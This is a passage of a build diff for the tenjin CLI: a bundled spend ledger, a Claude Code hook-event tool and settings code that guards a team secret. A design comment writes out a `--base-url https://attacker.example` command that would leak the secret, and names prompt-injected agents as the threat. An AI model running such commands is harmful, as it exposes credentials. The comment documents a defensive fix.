reservationId !== undefined\n ? ledger.reservations.find((r) => r.id === reservationId)\n : undefined;\n const exposure =\n reservation !== undefined ? BigInt(reservation.amountAtomic) : amountAtomic;\n // TWO NUMBERS, ON PURPOSE. The budget keeps counting what left; the\n // settled total records what was taken, and they differ whenever a\n // counterparty waives a fee against an authorization already sent.\n const settled = opts.settledAtomic ?? exposure;\n const settledSoFar = BigInt(ledger.settledAtomic ?? ledger.committedAtomic);\n const mode = reservation ? (reservation.mode ?? 'automatic') : (opts.mode ?? 'automatic');\n await persist({\n ...ledger,\n committedAtomic: (BigInt(ledger.committedAtomic) + exposure).toString(),\n automaticCommittedAtomic: (\n BigInt(ledger.automaticCommittedAtomic ?? ledger.committedAtomic) +\n (mode === 'manual' ? 0n : exposure)\n ).toString(),\n settledAtomic: (settledSoFar + settled).toString(),\n reservations:\n reservationId !== undefined\n ? ledger.reservations.filter((r) => r.id !== reservationId)\n : ledger.reservations,\n // Keyed by the authorization's nonce, so a reconcile that proves it\n // was never charged can release this amount and nothing else.\n ...(opts.nonce !== undefined\n ? {\n exposures: [\n ...(ledger.exposures ?? []),\n {\n nonce: opts.nonce.toLowerCase(),\n amountAtomic: exposure.toString(),\n atMs: now(),\n mode,\n },\n ],\n }\n : {}),\n });\n });\n },\n async release(reservationId: string | undefined): Promise<void> {\n if (reservationId === undefined) return;\n await withLedger(async (ledger) => {\n if (!ledger.reservations.some((r) => r.id === reservationId)) return;\n await persist({\n ...ledger,\n reservations: ledger.reservations.filter((r) => r.id !== reservationId),\n });\n });\n },\n };\n}\n\n/**\n * GIVE BACK A PAYMENT THE CHAIN PROVED WAS NEVER CHARGED: its authorization\n * expired unused. Exactly the exposure recorded under that nonce comes off the\n * committed totals, once; a nonce from an earlier window, from a ledger an\n * older build wrote, or one already released finds nothing and changes\n * nothing. Returns the amount released, or null when the ledger could not be\n * updated, so the caller keeps the payment open and asks again.\n */\nexport async function releaseUnchargedExposure(\n dir: string,\n nonce: string,\n opts: { now?: () => number; windowMs?: number } = {},\n): Promise<bigint | null> {\n const path = spendLedgerPath(dir);\n const nowMs = (opts.now ?? Date.now)();\n try {\n return await withFileLock(`${path}.lock`, async () => {\n const { ledger } = await readLedger(path);\n if (ledger === null || nowMs - ledger.windowStartMs >= (opts.windowMs ?? DEFAULT_WINDOW_MS)) {\n return 0n;\n }\n const key = nonce.toLowerCase();\n const entry = (ledger.exposures ?? []).find((e) => e.nonce === key);\n if (entry === undefined) return 0n;\n const amount = BigInt(entry.amountAtomic);\n const less = (value: string | undefined, fallback: string): string => {\n const current = BigInt(value ?? fallback);\n return (current > amount ? current - amount : 0n).toString();\n };\n await writeFileAtomic(\n path,\n `${JSON.stringify(\n {\n ...ledger,\n committedAtomic: less(ledger.committedAtomic, '0'),\n ...(entry.mode === 'manual'\n ? {}\n : {\n automaticCommittedAtomic: less(\n ledger.automaticCommittedAtomic,\n ledger.committedAtomic,\n ),\n }),\n settledAtomic: less(ledger.settledAtomic, ledger.committedAtomic),\n exposures: (ledger.exposures ?? []).filter((e) => e.nonce !== key),\n },\n null,\n 2,\n )}\\n`,\n { mode: 0o600, dirMode: 0o700 },\n );\n return amount;\n });\n } catch {\n return null;\n }\n}\n\nexport { readSpendSummary, type SpendSummary } from '../spend-ledger';\n"],"mappings":";;;;;;;;;;;;;;;;;;;;;;AAAA,SAAS,aAAa;AACtB,SAAS,kBAAkB;AA8GpB,SAAS,2BAA2B,MAAiD;AAC1F,QAAM,WAAW,KAAK,YAAY;AAClC,QAAM,MAAM,KAAK,OAAO,KAAK;AAC7B,QAAM,OAAO,gBAAgB,KAAK,GAAG;AACrC,QAAM,WAAW,GAAG,IAAI;AAIxB,MAAI,gBAAgB;AAGpB,QAAM,UAAU,CAAC,QAAuB,UAA0B;AAChE,QAAI,WAAW,QAAQ,QAAQ,OAAO,iBAAiB,SAAU,QAAO,YAAY,KAAK;AACzF,WAAO;AAAA,MACL,GAAG;AAAA,MACH,cAAc,OAAO,aAAa,OAAO,CAAC,MAAM,QAAQ,EAAE,OAAO,kBAAkB;AAAA,IACrF;AAAA,EACF;AAEA,QAAM,UAAU,OAAO,WAAkC;AACvD,UAAM,gBAAgB,MAAM,GAAG,KAAK,UAAU,QAAQ,MAAM,CAAC,CAAC;AAAA,GAAM;AAAA,MAClE,MAAM;AAAA,MACN,SAAS;AAAA,IACX,CAAC;AAAA,EACH;AAEA,iBAAe,WAAc,IAAmE;AAC9F,UAAM,MAAM,KAAK,KAAK,EAAE,WAAW,MAAM,MAAM,IAAM,CAAC;AACtD,WAAO,aAAa,UAAU,YAAY;AACxC,YAAM,QAAQ,IAAI;AAClB,YAAM,OAAO,MAAM,WAAW,IAAI;AAClC,UAAI,KAAK,YAAY,UAAa,CAAC,eAAe;AAChD,w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AAC;AAAA;AAAA,QACD,EAAE,MAAM,KAAO,SAAS,IAAM;AAAA,MAChC;AACA,aAAO;AAAA,IACT,CAAC;AAAA,EACH,QAAQ;AACN,WAAO;AAAA,EACT;AACF;","names":[]}
@@ -0,0 +1,49 @@
1
+ import { createRequire as __tenjinCreateRequire } from 'node:module'; const require = __tenjinCreateRequire(import.meta.url);
2
+
3
+ // src/router/hook-tool.ts
4
+ var HOOK_KINDS = ["prompt", "native", "shortfall", "agent", "ask", "answer"];
5
+ var HOOK_TOOL = "hook";
6
+ var COMMON = ["hook_event_name", "session_id", "transcript_path", "cwd"];
7
+ var CALL = ["tool_name", "tool_input", "tool_use_id", "agent_id", "agent_type"];
8
+ var FIELDS = {
9
+ prompt: [...COMMON, "prompt"],
10
+ native: [...COMMON, ...CALL],
11
+ agent: [...COMMON, ...CALL],
12
+ ask: [...COMMON, ...CALL],
13
+ answer: [...COMMON, ...CALL, "tool_response"],
14
+ shortfall: [...COMMON, ...CALL, "tool_response", "error", "is_interrupt"]
15
+ };
16
+ var JSON_FIELDS = /* @__PURE__ */ new Set(["tool_input", "tool_response", "is_interrupt"]);
17
+ function hookToolInput(kind) {
18
+ return Object.fromEntries([
19
+ ["kind", kind],
20
+ ...FIELDS[kind].map((field) => [field, `\${${field}}`])
21
+ ]);
22
+ }
23
+ var HOOK_TOOL_FIELDS = [...new Set(Object.values(FIELDS).flat())];
24
+ function eventFromToolInput(args) {
25
+ const event = {};
26
+ for (const field of HOOK_TOOL_FIELDS) {
27
+ const value = args[field];
28
+ if (typeof value !== "string" || value.length === 0) continue;
29
+ if (!JSON_FIELDS.has(field)) {
30
+ event[field] = value;
31
+ continue;
32
+ }
33
+ try {
34
+ event[field] = JSON.parse(value);
35
+ } catch {
36
+ event[field] = value;
37
+ }
38
+ }
39
+ return event;
40
+ }
41
+
42
+ export {
43
+ HOOK_KINDS,
44
+ HOOK_TOOL,
45
+ hookToolInput,
46
+ HOOK_TOOL_FIELDS,
47
+ eventFromToolInput
48
+ };
49
+ //# sourceMappingURL=chunk-AKWGE6JQ.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"sources":["../src/router/hook-tool.ts"],"sourcesContent":["/**\n * THE HOOK EVENT, CARRIED BY AN `mcp_tool` ENTRY. Claude Code calls the `hook`\n * tool of the session's own `tenjin mcp` for each routing leg, with the event's\n * fields substituted into the entry's `input` (`${session_id}` and so on): a\n * string field arrives as written, an object one (`tool_input`,\n * `tool_response`) as its JSON text, a boolean as `true` or `false`, and a\n * field the event lacks as an empty string. This turns that back into the\n * event the handlers already read, and spells the `input` `install` writes.\n */\n\n/** The routing legs, one per hook entry `install` writes. */\nexport const HOOK_KINDS = ['prompt', 'native', 'shortfall', 'agent', 'ask', 'answer'] as const;\nexport type HookKind = (typeof HOOK_KINDS)[number];\n\n/** The tool `tenjin mcp` registers for the hook entries. */\nexport const HOOK_TOOL = 'hook';\n\n/** The event fields each leg reads, as Claude Code names them. */\nconst COMMON = ['hook_event_name', 'session_id', 'transcript_path', 'cwd'] as const;\nconst CALL = ['tool_name', 'tool_input', 'tool_use_id', 'agent_id', 'agent_type'] as const;\n\nconst FIELDS: Record<HookKind, readonly string[]> = {\n prompt: [...COMMON, 'prompt'],\n native: [...COMMON, ...CALL],\n agent: [...COMMON, ...CALL],\n ask: [...COMMON, ...CALL],\n answer: [...COMMON, ...CALL, 'tool_response'],\n shortfall: [...COMMON, ...CALL, 'tool_response', 'error', 'is_interrupt'],\n};\n\n/** Fields whose value is an object or a boolean, sent as JSON text. */\nconst JSON_FIELDS = new Set(['tool_input', 'tool_response', 'is_interrupt']);\n\n/** The `input` of one leg's `mcp_tool` entry. */\nexport function hookToolInput(kind: HookKind): Record<string, string> {\n return Object.fromEntries([\n ['kind', kind],\n ...FIELDS[kind].map((field) => [field, `\\${${field}}`]),\n ]);\n}\n\n/** Every field any leg sends, for the tool's input schema. */\nexport const HOOK_TOOL_FIELDS: readonly string[] = [...new Set(Object.values(FIELDS).flat())];\n\nexport function isHookKind(value: unknown): value is HookKind {\n return typeof value === 'string' && (HOOK_KINDS as readonly string[]).includes(value);\n}\n\n/**\n * The harness event from the tool's arguments: empty fields dropped (the\n * event did not carry them), the JSON ones parsed back. A JSON field that does\n * not parse is kept as the string it is.\n */\nexport function eventFromToolInput(args: Record<string, unknown>): Record<string, unknown> {\n const event: Record<string, unknown> = {};\n for (const field of HOOK_TOOL_FIELDS) {\n const value = args[field];\n if (typeof value !== 'string' || value.length === 0) continue;\n if (!JSON_FIELDS.has(field)) {\n event[field] = value;\n continue;\n }\n try {\n event[field] = JSON.parse(value) as unknown;\n } catch {\n event[field] = value;\n }\n }\n return event;\n}\n"],"mappings":";;;AAWO,IAAM,aAAa,CAAC,UAAU,UAAU,aAAa,SAAS,OAAO,QAAQ;AAI7E,IAAM,YAAY;AAGzB,IAAM,SAAS,CAAC,mBAAmB,cAAc,mBAAmB,KAAK;AACzE,IAAM,OAAO,CAAC,aAAa,cAAc,eAAe,YAAY,YAAY;AAEhF,IAAM,SAA8C;AAAA,EAClD,QAAQ,CAAC,GAAG,QAAQ,QAAQ;AAAA,EAC5B,QAAQ,CAAC,GAAG,QAAQ,GAAG,IAAI;AAAA,EAC3B,OAAO,CAAC,GAAG,QAAQ,GAAG,IAAI;AAAA,EAC1B,KAAK,CAAC,GAAG,QAAQ,GAAG,IAAI;AAAA,EACxB,QAAQ,CAAC,GAAG,QAAQ,GAAG,MAAM,eAAe;AAAA,EAC5C,WAAW,CAAC,GAAG,QAAQ,GAAG,MAAM,iBAAiB,SAAS,cAAc;AAC1E;AAGA,IAAM,cAAc,oBAAI,IAAI,CAAC,cAAc,iBAAiB,cAAc,CAAC;AAGpE,SAAS,cAAc,MAAwC;AACpE,SAAO,OAAO,YAAY;AAAA,IACxB,CAAC,QAAQ,IAAI;AAAA,IACb,GAAG,OAAO,IAAI,EAAE,IAAI,CAAC,UAAU,CAAC,OAAO,MAAM,KAAK,GAAG,CAAC;AAAA,EACxD,CAAC;AACH;AAGO,IAAM,mBAAsC,CAAC,GAAG,IAAI,IAAI,OAAO,OAAO,MAAM,EAAE,KAAK,CAAC,CAAC;AAWrF,SAAS,mBAAmB,MAAwD;AACzF,QAAM,QAAiC,CAAC;AACxC,aAAW,SAAS,kBAAkB;AACpC,UAAM,QAAQ,KAAK,KAAK;AACxB,QAAI,OAAO,UAAU,YAAY,MAAM,WAAW,EAAG;AACrD,QAAI,CAAC,YAAY,IAAI,KAAK,GAAG;AAC3B,YAAM,KAAK,IAAI;AACf;AAAA,IACF;AACA,QAAI;AACF,YAAM,KAAK,IAAI,KAAK,MAAM,KAAK;AAAA,IACjC,QAAQ;AACN,YAAM,KAAK,IAAI;AAAA,IACjB;AAAA,EACF;AACA,SAAO;AACT;","names":[]}
@@ -0,0 +1,238 @@
1
+ import { createRequire as __tenjinCreateRequire } from 'node:module'; const require = __tenjinCreateRequire(import.meta.url);
2
+ import {
3
+ CONFIG_DEFAULTS,
4
+ CliError,
5
+ PRODUCTION_ORIGIN,
6
+ PublishModeSchema,
7
+ SEND_MAX_UNSET,
8
+ external_exports,
9
+ isSameDeployment,
10
+ loadRawConfig,
11
+ parseUsdToAtomic,
12
+ resolveSettings
13
+ } from "./chunk-WO5BJNIB.js";
14
+
15
+ // src/lib/settings.ts
16
+ import { execFile } from "node:child_process";
17
+ import { readFile, stat } from "node:fs/promises";
18
+ import { homedir } from "node:os";
19
+ import { basename, dirname, join, resolve, sep } from "node:path";
20
+ function tryOrigin(url) {
21
+ try {
22
+ return new URL(url).origin;
23
+ } catch {
24
+ return void 0;
25
+ }
26
+ }
27
+ function resolveShelfBypass(config, s) {
28
+ const secret = s.shelfBypassSecret.value;
29
+ if (secret.length === 0) return void 0;
30
+ const configured = tryOrigin(config.baseUrl ?? CONFIG_DEFAULTS.baseUrl);
31
+ const effective = tryOrigin(s.baseUrl.value);
32
+ if (configured === void 0 || effective === void 0 || configured !== effective) {
33
+ return void 0;
34
+ }
35
+ if (!isTeamShelfOrigin(configured, s.publicShelfUrl.value)) return void 0;
36
+ return { origin: configured, secret };
37
+ }
38
+ function isTeamShelfOrigin(origin, publicShelfUrl) {
39
+ if (isSameDeployment(origin, PRODUCTION_ORIGIN)) return false;
40
+ const publicOrigin = tryOrigin(publicShelfUrl);
41
+ return publicOrigin === void 0 || !isSameDeployment(origin, publicOrigin);
42
+ }
43
+ function isTeamModeConfig(config) {
44
+ const secret = config.shelfBypassSecret ?? CONFIG_DEFAULTS.shelfBypassSecret;
45
+ if (typeof secret !== "string" || secret === "") return false;
46
+ const origin = tryOrigin(config.baseUrl ?? CONFIG_DEFAULTS.baseUrl);
47
+ if (origin === void 0) return false;
48
+ return isTeamShelfOrigin(origin, config.publicShelfUrl ?? CONFIG_DEFAULTS.publicShelfUrl);
49
+ }
50
+ async function resolveContextSettings(ctx) {
51
+ const config = await loadRawConfig(ctx.dataDir);
52
+ const s = resolveSettings({ config, flags: { baseUrl: ctx.flags.baseUrl }, env: process.env });
53
+ const bypass = resolveShelfBypass(config, s);
54
+ return {
55
+ baseUrl: s.baseUrl.value,
56
+ configuredBaseUrl: config.baseUrl ?? CONFIG_DEFAULTS.baseUrl,
57
+ publicShelfUrl: s.publicShelfUrl.value,
58
+ ...bypass !== void 0 ? { bypass } : {},
59
+ teamMode: bypass !== void 0,
60
+ rpcUrl: s.rpcUrl.value,
61
+ evalCohort: s.evalCohort.value,
62
+ bazaarRegistries: s.bazaarRegistries.value,
63
+ experimentalBazaar: s.experimentalBazaar.value === "on",
64
+ sendMaxAmountAtomic: s.sendMaxAmount.value === SEND_MAX_UNSET ? SEND_MAX_UNSET : s.sendMaxAmount.value === "none" ? null : BigInt(s.sendMaxAmount.value),
65
+ policy: {
66
+ maxAutoSpendAtomic: BigInt(s.maxAutoSpend.value),
67
+ sessionBudgetAtomic: s.sessionBudget.value === "none" ? null : BigInt(s.sessionBudget.value),
68
+ allowlistCreators: s.allowlistCreators.value
69
+ }
70
+ };
71
+ }
72
+ var PROJECT_CONFIG_FILE = ".tenjin.json";
73
+ var ProjectConfigSchema = external_exports.object({
74
+ publish: external_exports.object({
75
+ mode: PublishModeSchema.optional(),
76
+ defaultPrice: external_exports.string().optional()
77
+ }).passthrough().optional()
78
+ }).passthrough();
79
+ async function loadProjectConfig(cwd, deps = {}) {
80
+ const path = await findProjectConfigFile(cwd, deps);
81
+ if (path === null) return null;
82
+ let json;
83
+ try {
84
+ json = JSON.parse(await readFile(path, "utf8"));
85
+ } catch (err) {
86
+ throw new CliError("CONFIG_INVALID", `${PROJECT_CONFIG_FILE} at ${path} could not be read`, {
87
+ fix: `Fix or delete ${path} (must be a readable JSON file).`,
88
+ cause: err
89
+ });
90
+ }
91
+ const parsed = ProjectConfigSchema.safeParse(json);
92
+ if (!parsed.success) {
93
+ throw new CliError("CONFIG_INVALID", `${PROJECT_CONFIG_FILE} at ${path} is invalid`, {
94
+ fix: `Correct the reported keys in ${path}, or delete it.`,
95
+ details: parsed.error.issues
96
+ });
97
+ }
98
+ const isGitignored = deps.isGitignored ?? defaultIsGitignored;
99
+ const gitignored = await isGitignored(path);
100
+ const layer = { gitignored };
101
+ if (parsed.data.publish !== void 0) {
102
+ const { mode, defaultPrice } = parsed.data.publish;
103
+ layer.publish = {
104
+ ...mode !== void 0 ? { mode } : {},
105
+ ...defaultPrice !== void 0 ? { defaultPrice: parseProjectPrice(defaultPrice, path) } : {}
106
+ };
107
+ if (parsed.data.publish.ackServerWarnings !== void 0) {
108
+ layer.ignoredAckServerWarnings = true;
109
+ }
110
+ }
111
+ return { path, layer };
112
+ }
113
+ function parseProjectPrice(decimalUsd, path) {
114
+ try {
115
+ return parseUsdToAtomic(decimalUsd);
116
+ } catch (err) {
117
+ throw new CliError(
118
+ "CONFIG_INVALID",
119
+ `${PROJECT_CONFIG_FILE} at ${path} has an invalid publish.defaultPrice`,
120
+ { fix: 'Use a non-negative decimal USD amount like "0.10".', cause: err }
121
+ );
122
+ }
123
+ }
124
+ async function findProjectConfigFile(cwd, deps) {
125
+ const hit = await findNearestProjectFiles(cwd, [PROJECT_CONFIG_FILE], deps);
126
+ return hit?.found[0] ?? null;
127
+ }
128
+ async function findNearestProjectFiles(cwd, names, deps = {}) {
129
+ const homeDir = deps.homeDir ?? homedir();
130
+ let dir = cwd;
131
+ for (; ; ) {
132
+ if (dir === homeDir && deps.homeIsProject === false) return null;
133
+ const found = await ownedCandidates(dir, names, deps);
134
+ if (found.length > 0) return { dir, found };
135
+ if (await pathExists(join(dir, ".git"))) return null;
136
+ if (dir === homeDir) return null;
137
+ const parent = dirname(dir);
138
+ if (parent === dir) return null;
139
+ dir = parent;
140
+ }
141
+ }
142
+ async function findAllProjectFiles(cwd, names, deps = {}) {
143
+ const homeDir = deps.homeDir ?? homedir();
144
+ const levels = [];
145
+ let dir = cwd;
146
+ for (; ; ) {
147
+ if (dir === homeDir && deps.homeIsProject === false) return { levels, gitRoot: null };
148
+ const found = await ownedCandidates(dir, names, deps);
149
+ if (found.length > 0) levels.push({ dir, found });
150
+ if (await pathExists(join(dir, ".git"))) return { levels, gitRoot: dir };
151
+ if (dir === homeDir) return { levels, gitRoot: null };
152
+ const parent = dirname(dir);
153
+ if (parent === dir) return { levels, gitRoot: null };
154
+ dir = parent;
155
+ }
156
+ }
157
+ async function mainWorktreeOf(gitRoot, homeDir = homedir()) {
158
+ try {
159
+ const dotGit = join(gitRoot, ".git");
160
+ if (!(await stat(dotGit)).isFile()) return null;
161
+ const line = /^gitdir:\s*(.+?)\s*$/m.exec(await readFile(dotGit, "utf8"));
162
+ if (line === null) return null;
163
+ const gitdir = resolve(gitRoot, line[1]);
164
+ const commonDir = resolve(gitdir, (await readFile(join(gitdir, "commondir"), "utf8")).trim());
165
+ if (basename(commonDir) !== ".git" || !(await stat(commonDir)).isDirectory()) return null;
166
+ const main = dirname(commonDir);
167
+ if (main === gitRoot || !main.startsWith(`${homeDir}${sep}`)) return null;
168
+ return main;
169
+ } catch {
170
+ return null;
171
+ }
172
+ }
173
+ async function ownedCandidates(dir, names, deps = {}) {
174
+ const isForeignOwned = deps.isForeignOwned ?? defaultIsForeignOwned;
175
+ const warn = deps.warn ?? ((message) => process.stderr.write(`${message}
176
+ `));
177
+ const found = [];
178
+ for (const name of names) {
179
+ const candidate = join(dir, name);
180
+ if (!await pathExists(candidate)) continue;
181
+ if (await isForeignOwned(candidate)) {
182
+ warn(`Ignoring ${candidate}: not owned by the current user.`);
183
+ } else {
184
+ found.push(candidate);
185
+ }
186
+ }
187
+ return found;
188
+ }
189
+ async function projectRoot(cwd, homeDir = homedir()) {
190
+ let dir = cwd;
191
+ for (; ; ) {
192
+ if (await pathExists(join(dir, ".git"))) return dir;
193
+ if (dir === homeDir) return cwd;
194
+ const parent = dirname(dir);
195
+ if (parent === dir) return cwd;
196
+ dir = parent;
197
+ }
198
+ }
199
+ async function defaultIsForeignOwned(filePath) {
200
+ const uid = process.getuid?.();
201
+ if (uid === void 0) return false;
202
+ try {
203
+ return (await stat(filePath)).uid !== uid;
204
+ } catch {
205
+ return false;
206
+ }
207
+ }
208
+ async function pathExists(path) {
209
+ try {
210
+ await stat(path);
211
+ return true;
212
+ } catch {
213
+ return false;
214
+ }
215
+ }
216
+ function defaultIsGitignored(filePath) {
217
+ return new Promise((resolve2) => {
218
+ execFile(
219
+ "git",
220
+ ["check-ignore", "--quiet", "--", filePath],
221
+ { cwd: dirname(filePath) },
222
+ (err) => resolve2(err === null)
223
+ );
224
+ });
225
+ }
226
+
227
+ export {
228
+ isTeamShelfOrigin,
229
+ isTeamModeConfig,
230
+ resolveContextSettings,
231
+ loadProjectConfig,
232
+ findNearestProjectFiles,
233
+ findAllProjectFiles,
234
+ mainWorktreeOf,
235
+ ownedCandidates,
236
+ projectRoot
237
+ };
238
+ //# sourceMappingURL=chunk-AWFUPKTM.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"sources":["../src/lib/settings.ts"],"sourcesContent":["import { execFile } from 'node:child_process';\nimport { readFile, stat } from 'node:fs/promises';\nimport { homedir } from 'node:os';\nimport { basename, dirname, join, resolve, sep } from 'node:path';\nimport { z } from 'zod';\nimport { CliError } from './errors';\nimport {\n CONFIG_DEFAULTS,\n PublishModeSchema,\n SEND_MAX_UNSET,\n loadRawConfig,\n resolveAckServerWarnings,\n resolvePublishDefaultPrice,\n resolvePublishMode,\n resolveSettings,\n} from './config';\nimport type {\n AckServerWarnings,\n EffectiveSettings,\n PartialConfig,\n Provenance,\n ProjectPublishLayer,\n PublishMode,\n} from './config';\nimport type { ShelfBypass } from './http';\nimport { parseUsdToAtomic } from './money';\nimport { PRODUCTION_ORIGIN, isSameDeployment } from './production-origin';\nimport type { SpendPolicy } from './policy';\nimport type { CommandContext } from '../context';\n\n/**\n * The effective runtime settings a B2 command needs, resolved once through the\n * same precedence (flag > env > file > default) config/doctor use. Spend values\n * arrive atomic from config and are handed on as bigint for the policy layer.\n */\nexport interface ResolvedSettings {\n baseUrl: string;\n /**\n * `baseUrl` AS THE CONFIG FILE NAMES IT, before `--base-url`/`TENJIN_BASE_URL`.\n * Anything that wallet-signs pins to this rather than to {@link baseUrl}: a\n * flag can point a run at another host, and an agent that names one must not\n * thereby move the pin. Same rule, same reason, as {@link resolveShelfBypass}.\n */\n configuredBaseUrl: string;\n /** The public marketplace: the second shelf a team-mode search falls through\n * to, and the one other origin `read`/`buy`/`inspect` will resolve against. */\n publicShelfUrl: string;\n /**\n * The team shelf's bypass secret paired with the CONFIGURED `baseUrl`'s\n * origin, or undefined in public mode and on a run whose base URL came from\n * `--base-url`/`TENJIN_BASE_URL` (see {@link resolveShelfBypass}). Handed to\n * the transport, which attaches the header from the REQUEST URL — so it cannot\n * reach `publicShelfUrl` however it is passed.\n */\n bypass?: ShelfBypass;\n /** True exactly when the door key was issued: the one switch between public\n * mode and team mode. */\n teamMode: boolean;\n rpcUrl: string;\n policy: SpendPolicy;\n /** Search-only privacy opt-in; sends X-Tenjin-Eval-Cohort: 1 when true. */\n evalCohort: boolean;\n /** x402 discovery registries `discover` queries and the pay lane verifies against. */\n bazaarRegistries: string[];\n /** `experimental.bazaar`: whether the router may also offer the open Bazaar's\n * unreviewed sellers. Tenjin's reviewed list is always requested; only\n * `router.enabled false` stops every offer. */\n experimentalBazaar: boolean;\n /**\n * Hard per-send cap for `tenjin wallet send`: SEND_MAX_UNSET = never configured\n * (send refuses until `config set sendMaxAmount`), null = explicit \"none\"\n * (uncapped opt-in), 0n = disabled, otherwise the atomic cap.\n */\n sendMaxAmountAtomic: bigint | null | typeof SEND_MAX_UNSET;\n}\n\n/** `URL.origin`, or undefined for anything unparseable. */\nfunction tryOrigin(url: string): string | undefined {\n try {\n return new URL(url).origin;\n } catch {\n return undefined;\n }\n}\n\n/**\n * The team shelf's door key, paired with the origin THE OPERATOR CONFIGURED —\n * never with the one this run happens to be pointed at.\n *\n * `shelfBypassSecret` is file-only, but `baseUrl` is not: `--base-url` and\n * `TENJIN_BASE_URL` outrank the file. Pairing the secret with the RESOLVED base\n * URL therefore let one command hand the team's key to any host that was named\n * on the command line — `tenjin search --base-url https://attacker.example \"…\"`\n * sends it in the first request, and the transport's origin test agrees, because\n * the pair it compares against was built from the attacker's URL. That is not a\n * hypothetical shape: `resource-ref`'s own refusal text already names a\n * task-supplied `--base-url` as the attack a prompt-injected agent runs.\n *\n * So the compare happens here, once, before the pair exists: the key is issued\n * only when the run is still pointed at the configured shelf. A run pointed\n * anywhere else gets NO pair at all, which also drops team mode — an overridden\n * base URL runs as an ordinary public-mode run, with the client scan and the\n * confirm cascade back on, rather than as a team-mode run against a stranger.\n *\n * The generated hooks need no equivalent for the flag rule: they read `baseUrl`\n * straight out of config.json and have no flag or env layer to be re-pointed\n * through. They DO carry the second rule below (`teamShelfOrigin`).\n *\n * SECOND RULE: THE TEAM SHELF MUST BE A SHELF OF ITS OWN. Team mode was keyed on\n * a non-empty secret alone, and both `baseUrl` and `publicShelfUrl` default to\n * tenjin.sh, so the two-command day-0 setup run in the other order — or the\n * secret line alone on a second machine — put a machine in \"team mode\" pointed\n * at the PUBLIC MARKETPLACE. Team mode is precisely the mode that skips the\n * publish scan, skips the confirm cascade and prices at 0, so under\n * `publish.mode full-auto` that misconfiguration auto-publishes internal\n * codebase notes to tenjin.sh, unscanned and unacknowledged; it also posts the\n * team's key to the public marketplace and searches one origin twice per fire.\n * A secret with no private shelf behind it is a setup that is not finished, so\n * it fails safe to public mode rather than half-on. `tenjin doctor` and\n * `config set shelfBypassSecret` say so out loud, because silence here is what\n * made the misconfiguration survivable.\n */\nexport function resolveShelfBypass(\n config: PartialConfig,\n s: EffectiveSettings,\n): ShelfBypass | undefined {\n const secret = s.shelfBypassSecret.value;\n if (secret.length === 0) return undefined;\n const configured = tryOrigin(config.baseUrl ?? CONFIG_DEFAULTS.baseUrl);\n const effective = tryOrigin(s.baseUrl.value);\n if (configured === undefined || effective === undefined || configured !== effective) {\n return undefined;\n }\n if (!isTeamShelfOrigin(configured, s.publicShelfUrl.value)) return undefined;\n return { origin: configured, secret };\n}\n\n/**\n * Is `origin` a shelf of the team's own, as opposed to the public marketplace?\n *\n * The compare `resource-ref` already makes to no-op its second-origin allowance,\n * plus the production origin itself: a `publicShelfUrl` pointed somewhere else\n * must not make tenjin.sh read as private. `isSameDeployment` rather than `===`\n * so an alias of production (tenjin.blog) is not a loophole.\n */\nexport function isTeamShelfOrigin(origin: string, publicShelfUrl: string): boolean {\n if (isSameDeployment(origin, PRODUCTION_ORIGIN)) return false;\n const publicOrigin = tryOrigin(publicShelfUrl);\n return publicOrigin === undefined || !isSameDeployment(origin, publicOrigin);\n}\n\n/**\n * Is this MACHINE in team mode — a shelf of the team's own plus the door key that\n * opens it? The same two-part rule `resolveContextSettings` applies\n * (`ResolvedSettings.teamMode`), read off the raw config instead of resolved\n * settings, and the difference is deliberate: a `--base-url` or `TENJIN_BASE_URL`\n * on one invocation must not answer this question.\n *\n * The installed skill text (lib/skill-materialize) needs the raw-config form: it\n * outlives the command that wrote it and is read by every later session on this\n * machine, so shaping it by a one-off flag would leave a team machine reading\n * public guidance until the next install.\n *\n * A secret with `baseUrl` still on the marketplace is NOT team mode, per\n * {@link isTeamShelfOrigin}: that half-set state runs as ordinary public mode\n * rather than treating tenjin.sh as a private shelf.\n */\nexport function isTeamModeConfig(config: PartialConfig): boolean {\n const secret = config.shelfBypassSecret ?? CONFIG_DEFAULTS.shelfBypassSecret;\n if (typeof secret !== 'string' || secret === '') return false;\n const origin = tryOrigin(config.baseUrl ?? CONFIG_DEFAULTS.baseUrl);\n if (origin === undefined) return false;\n return isTeamShelfOrigin(origin, config.publicShelfUrl ?? CONFIG_DEFAULTS.publicShelfUrl);\n}\n\n/** Where a close for one stored search has to go, and whether it carries the key. */\nexport interface ShelfRoute {\n baseUrl: string;\n bypass?: ShelfBypass;\n /**\n * False when the ENTRY named a shelf other than the configured `baseUrl` —\n * including an unrecognised origin, which `baseUrl` above nonetheless routes\n * back to the configured shelf.\n */\n configured: boolean;\n}\n\n/**\n * THE SHELF THAT ANSWERED, for anything closing a loop.\n *\n * A team-mode search asks the team shelf and falls through to the public\n * marketplace, and the two have separate databases: the searchId the public leg\n * minted exists only there. Posting its outcome to the team shelf tells the team\n * shelf about a search it never ran (where it retries a parent-not-visible window\n * and then raises `outcomes_dropped_no_parent`, an alarm meant to mean a broken\n * fleet) and tells the marketplace — whose demand signal is the entire reason the\n * verb exists — nothing at all.\n *\n * `shelfBaseUrl` is absent on an entry written before it existed and on every\n * single-shelf public-mode run, and absent means the configured base, which is\n * what those entries meant.\n *\n * ONLY THE TWO CONFIGURED SHELVES ARE ROUTABLE. `shelfBaseUrl` is a plain\n * optional string in the store schema with no URL validation, and the only\n * writers are this CLI's own two configured values — so any OTHER origin in that\n * field is a corrupt or planted entry, not a third shelf, and one hand-edited\n * search row would otherwise make `tenjin outcome --search-id` POST to\n * a host the operator never configured. An unrecognised origin therefore routes\n * to the configured base exactly as a missing or unparseable one does: fail open\n * to the configured shelf, never out to a foreign one. This is the same\n * re-assertion `resolveResourceRef` already makes against this store's\n * `candidate.url` before any send. `configured` still reports false for such an\n * entry, so `publish` keeps dropping its searchId rather than misfiling it.\n *\n * THE KEY RIDES THE ORIGIN, not the call site: `bypass` comes back only when the\n * route is the origin the secret was paired with. The transport re-derives the\n * same rule from the request URL ({@link shelfBypassHeaders}), so this is the\n * second of two locks rather than the only one — but a call site that reads\n * `route.bypass` should never be the place a key first goes off-origin.\n */\nexport function shelfRouteFor(\n stored: { shelfBaseUrl?: string } | null | undefined,\n settings: Pick<ResolvedSettings, 'baseUrl' | 'publicShelfUrl' | 'bypass'>,\n): ShelfRoute {\n const recorded = stored?.shelfBaseUrl;\n const configuredOrigin = tryOrigin(settings.baseUrl);\n const recordedOrigin = recorded === undefined ? undefined : 